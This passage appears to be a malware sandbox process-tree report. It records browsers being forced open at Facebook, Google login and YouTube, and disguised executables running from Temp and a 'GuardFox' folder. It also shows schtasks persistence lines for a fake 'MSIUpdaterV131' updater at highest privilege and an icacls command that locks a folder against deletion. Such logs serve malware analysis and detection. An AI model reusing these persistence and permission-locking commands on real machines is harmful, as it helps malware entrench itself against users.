      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/video
      4⤵
      PID:4100
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa875546f8,0x7ffa87554708,0x7ffa87554718
        5⤵
        
        PID:4296
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1948,1735191535827129732,14819031980233690814,131072 --lang=es --service-sandbox-type=none --mojo-platform-channel-handle=2152 /prefetch:3
        5⤵
        
        PID:6864
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1948,1735191535827129732,14819031980233690814,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2064 /prefetch:2
        5⤵
        
        PID:6856
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
      4⤵
      PID:3220
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa875546f8,0x7ffa87554708,0x7ffa87554718
        5⤵
        
        PID:4484
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,14277861174914866768,3165088783362026178,131072 --lang=es --service-sandbox-type=none --mojo-platform-channel-handle=2104 /prefetch:3
        5⤵
        
        PID:6092
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,14277861174914866768,3165088783362026178,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
        5⤵
        
        PID:7164
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com
      4⤵
      PID:3084
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa875546f8,0x7ffa87554708,0x7ffa87554718
        5⤵
        
        PID:2324
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2064,15588795806125442407,4208648071404744602,131072 --lang=es --service-sandbox-type=none --mojo-platform-channel-handle=2068 /prefetch:3
        5⤵
        
        PID:7692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.facebook.com/video
      4⤵
      PID:5176
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa875546f8,0x7ffa87554708,0x7ffa87554718
        5⤵
        
        PID:4372
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2080,8169488463573075877,6277761198102408763,131072 --lang=es --service-sandbox-type=none --mojo-platform-channel-handle=2092 /prefetch:3
        5⤵
        
        PID:8288
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://accounts.google.com
      4⤵
      PID:3592
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa875546f8,0x7ffa87554708,0x7ffa87554718
        5⤵
        
        PID:5832
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2104,5341420757082317527,8817767237584915684,131072 --lang=es --service-sandbox-type=none --mojo-platform-channel-handle=2120 /prefetch:3
        5⤵
        
        PID:7192
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com
      4⤵
      PID:4792
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffa87cc9758,0x7ffa87cc9768,0x7ffa87cc9778
        5⤵
        
        PID:4032
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2264 --field-trial-handle=1952,i,13245698555033217321,1769004514011303482,131072 /prefetch:8
        5⤵
        
        PID:5416
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1952,i,13245698555033217321,1769004514011303482,131072 /prefetch:8
        5⤵
        
        PID:6212
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1816 --field-trial-handle=1952,i,13245698555033217321,1769004514011303482,131072 /prefetch:2
        5⤵
        
        PID:5548
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3092 --field-trial-handle=1952,i,13245698555033217321,1769004514011303482,131072 /prefetch:1
        5⤵
        
        PID:9276
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3080 --field-trial-handle=1952,i,13245698555033217321,1769004514011303482,131072 /prefetch:1
        5⤵
        
        PID:9264
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3844 --field-trial-handle=1952,i,13245698555033217321,1769004514011303482,131072 /prefetch:1
        5⤵
        
        PID:9908
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=4708 --field-trial-handle=1952,i,13245698555033217321,1769004514011303482,131072 /prefetch:1
        5⤵
        
        PID:9252
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3808 --field-trial-handle=1952,i,13245698555033217321,1769004514011303482,131072 /prefetch:1
        5⤵
        
        PID:9720
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=4936 --field-trial-handle=1952,i,13245698555033217321,1769004514011303482,131072 /prefetch:1
        5⤵
        
        PID:9648
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=4944 --field-trial-handle=1952,i,13245698555033217321,1769004514011303482,131072 /prefetch:1
        5⤵
        
        PID:9596
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.facebook.com/video
      4⤵
      PID:1008
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffa87cc9758,0x7ffa87cc9768,0x7ffa87cc9778
        5⤵
        
        PID:4328
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1828 --field-trial-handle=1972,i,8187145533226832283,7851532072483095697,131072 /prefetch:2
        5⤵
        
        PID:8504
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1928 --field-trial-handle=1972,i,8187145533226832283,7851532072483095697,131072 /prefetch:8
        5⤵
        
        PID:6036
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" https://accounts.google.com
      4⤵
      PID:6316
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffa87cc9758,0x7ffa87cc9768,0x7ffa87cc9778
        5⤵
        
        PID:6452
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1792 --field-trial-handle=1984,i,1696402154986480586,7519386122395333296,131072 /prefetch:2
        5⤵
        
        PID:5132
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1908 --field-trial-handle=1984,i,1696402154986480586,7519386122395333296,131072 /prefetch:8
        5⤵
        
        PID:8836
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com
      4⤵
      PID:6480
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com
        5⤵
        
        PID:6836
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6836.0.1423860375\79889965" -parentBuildID 20221007134813 -prefsHandle 1756 -prefMapHandle 1748 -prefsLen 20749 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a47ad078-6014-470c-ae43-0c4102757fb9} 6836 "\\.\pipe\gecko-crash-server-pipe.6836" 1832 24d7bcd5b58 gpu
        6⤵
        
        PID:8668
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6836.1.634219996\811238751" -parentBuildID 20221007134813 -prefsHandle 2340 -prefMapHandle 2336 -prefsLen 21565 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fb383ab3-2645-446c-bae1-eeba79930290} 6836 "\\.\pipe\gecko-crash-server-pipe.6836" 2352 24d6fe72e58 socket
        6⤵
        
        PID:1884
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6836.2.1599481711\782447629" -childID 1 -isForBrowser -prefsHandle 3356 -prefMapHandle 3352 -prefsLen 21603 -prefMapSize 233444 -jsInitHandle 1252 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {40bf137a-5ab3-448f-a27d-83b35893e63b} 6836 "\\.\pipe\gecko-crash-server-pipe.6836" 3368 24d7bc68e58 tab
        6⤵
        
        PID:9272
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6836.3.1062835779\1258128630" -childID 2 -isForBrowser -prefsHandle 3676 -prefMapHandle 3672 -prefsLen 21644 -prefMapSize 233444 -jsInitHandle 1252 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8aa87236-2085-4996-849b-3e3355ead0ed} 6836 "\\.\pipe\gecko-crash-server-pipe.6836" 3684 24d6fe6a558 tab
        6⤵
        
        PID:9572
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6836.4.986897103\429874624" -childID 3 -isForBrowser -prefsHandle 3396 -prefMapHandle 3884 -prefsLen 21644 -prefMapSize 233444 -jsInitHandle 1252 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {defce5f1-7645-4099-9680-d0d39c1313b6} 6836 "\\.\pipe\gecko-crash-server-pipe.6836" 3572 24d7eaebb58 tab
        6⤵
        
        PID:8944
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6836.5.403126504\1630752701" -childID 4 -isForBrowser -prefsHandle 4288 -prefMapHandle 4284 -prefsLen 26066 -prefMapSize 233444 -jsInitHandle 1252 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8910ab06-5c46-4dad-b35b-765d18fc1268} 6836 "\\.\pipe\gecko-crash-server-pipe.6836" 4292 24d8034ab58 tab
        6⤵
        
        PID:9996
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6836.6.475097685\1536908987" -childID 5 -isForBrowser -prefsHandle 4900 -prefMapHandle 4896 -prefsLen 26125 -prefMapSize 233444 -jsInitHandle 1252 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9fc7086d-0abc-487c-9e2c-d4f44e3255e5} 6836 "\\.\pipe\gecko-crash-server-pipe.6836" 4748 24d82045258 tab
        6⤵
        
        PID:9312
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6836.7.830208197\92828207" -childID 6 -isForBrowser -prefsHandle 3196 -prefMapHandle 5540 -prefsLen 26206 -prefMapSize 233444 -jsInitHandle 1252 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1ca14ed6-563f-46a3-9e5e-3cac7145d478} 6836 "\\.\pipe\gecko-crash-server-pipe.6836" 5544 24d814f8758 tab
        6⤵
        
        PID:11132
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6836.8.921742075\1851856572" -parentBuildID 20221007134813 -prefsHandle 5888 -prefMapHandle 5880 -prefsLen 26739 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5af79a03-eb5e-4104-8399-e714fbcc11e4} 6836 "\\.\pipe\gecko-crash-server-pipe.6836" 5608 24d7fff9558 rdd
        6⤵
        
        PID:8856
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6836.9.591140785\412517975" -parentBuildID 20221007134813 -sandboxingKind 1 -prefsHandle 5604 -prefMapHandle 5868 -prefsLen 26897 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e63c6b57-c99d-4755-bcbf-c7244b1216b4} 6836 "\\.\pipe\gecko-crash-server-pipe.6836" 5532 24d7fffbc58 utility
        6⤵
        
        PID:5020
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="6836.10.1679114545\660795860" -childID 7 -isForBrowser -prefsHandle 6192 -prefMapHandle 6188 -prefsLen 27337 -prefMapSize 233444 -jsInitHandle 1252 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9e7b7d0b-8e92-4c03-bc18-c4924d2b13be} 6836 "\\.\pipe\gecko-crash-server-pipe.6836" 6200 24d82533a58 tab
        6⤵
        
        PID:11052
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/video
      4⤵
      PID:6828
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com
      4⤵
      PID:6848
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com
        5⤵
        
        PID:7248
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV131_f7a45894eab71f6821517fad8d26af28\MSIUpdaterV131.exe" /tn "MSIUpdaterV131_f7a45894eab71f6821517fad8d26af28 HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:3356
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV131_f7a45894eab71f6821517fad8d26af28\MSIUpdaterV131.exe" /tn "MSIUpdaterV131_f7a45894eab71f6821517fad8d26af28 LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:3416
- - C:\Users\Admin\AppData\Local\Temp\heidiPcfBKJAQEyHi\NcUzQl8x9nFBsMcrtsf9.exe
    "C:\Users\Admin\AppData\Local\Temp\heidiPcfBKJAQEyHi\NcUzQl8x9nFBsMcrtsf9.exe"
    3⤵
    PID:4652
- - C:\Users\Admin\AppData\Local\Temp\heidiPcfBKJAQEyHi\jQrPPGuLZk4G0D8lL9s7.exe
    "C:\Users\Admin\AppData\Local\Temp\heidiPcfBKJAQEyHi\jQrPPGuLZk4G0D8lL9s7.exe"
    3⤵
    PID:7260
- - C:\Users\Admin\AppData\Local\Temp\heidiPcfBKJAQEyHi\B_IyKVFC7pghvO8v1uXR.exe
    "C:\Users\Admin\AppData\Local\Temp\heidiPcfBKJAQEyHi\B_IyKVFC7pghvO8v1uXR.exe"
    3⤵
    PID:9392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV131_494d7bdd0cd2abc364b692ce8d81347c\MSIUpdaterV131.exe" /tn "MSIUpdaterV131_494d7bdd0cd2abc364b692ce8d81347c HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:6252
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV131_494d7bdd0cd2abc364b692ce8d81347c\MSIUpdaterV131.exe" /tn "MSIUpdaterV131_494d7bdd0cd2abc364b692ce8d81347c LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:9820
- - C:\Users\Admin\AppData\Local\Temp\heidiPcfBKJAQEyHi\S9WnECl5YjujQbinUAF8.exe
    "C:\Users\Admin\AppData\Local\Temp\heidiPcfBKJAQEyHi\S9WnECl5YjujQbinUAF8.exe"
    3⤵
    PID:9764
- C:\Users\Admin\Documents\GuardFox\LwKcuvJ8KlEx3Be81r7JzOQ1.exe
  "C:\Users\Admin\Documents\GuardFox\LwKcuvJ8KlEx3Be81r7JzOQ1.exe"
  2⤵
  PID:5704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:2616

C:\Users\Admin\AppData\Local\Temp\onefile_612_133533771573426014\WW9_64.exe
"C:\Users\Admin\Documents\GuardFox\jaWgfgohBg4B0gBBHOzpWTXA.exe"
1⤵
PID:2480

C:\Users\Admin\Documents\GuardFox\tNSxQPHxKCHVcxyGkJyBZ37N.exe
"C:\Users\Admin\Documents\GuardFox\tNSxQPHxKCHVcxyGkJyBZ37N.exe"
1⤵
PID:4424
- C:\Windows\SysWOW64\icacls.exe
  icacls "C:\Users\Admin\AppData\Local\3ef3d2ff-95ab-4009-bb5e-75330be50806" /deny *S-1-1-0:(OI)(CI)(DE,DC)
  2⤵
  - Modifies file permissions
  PID:5964
- C:\Users\Admin\Documents\GuardFox\tNSxQPHxKCHVcxyGkJyBZ37N.exe
  "C:\Users\Admin\Documents\GuardFox\tNSxQPHxKCHVcxyGkJyBZ37N.exe" --Admin IsNotAutoStart IsNotTask
  2⤵
  PID:5160
- - C:\Users\Admin\Documents\GuardFox\tNSxQPHxKCHVcxyGkJyBZ37N.exe
    "C:\Users\Admin\Documents\GuardFox\tNSxQPHxKCHVcxyGkJyBZ37N.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:5920

C:\Users\Admin\AppData\Local\Temp\7zSE0AB.tmp\Install.exe
.\Install.exe
1⤵
PID:1520
- C:\Users\Admin\AppData\Local\Temp\7zSF7CD.tmp\Install.exe
  .\Install.exe /nyuNdidVsQYh "525403" /S
  2⤵
  PID:5376
- - C:\Windows\SysWOW64\forfiles.exe
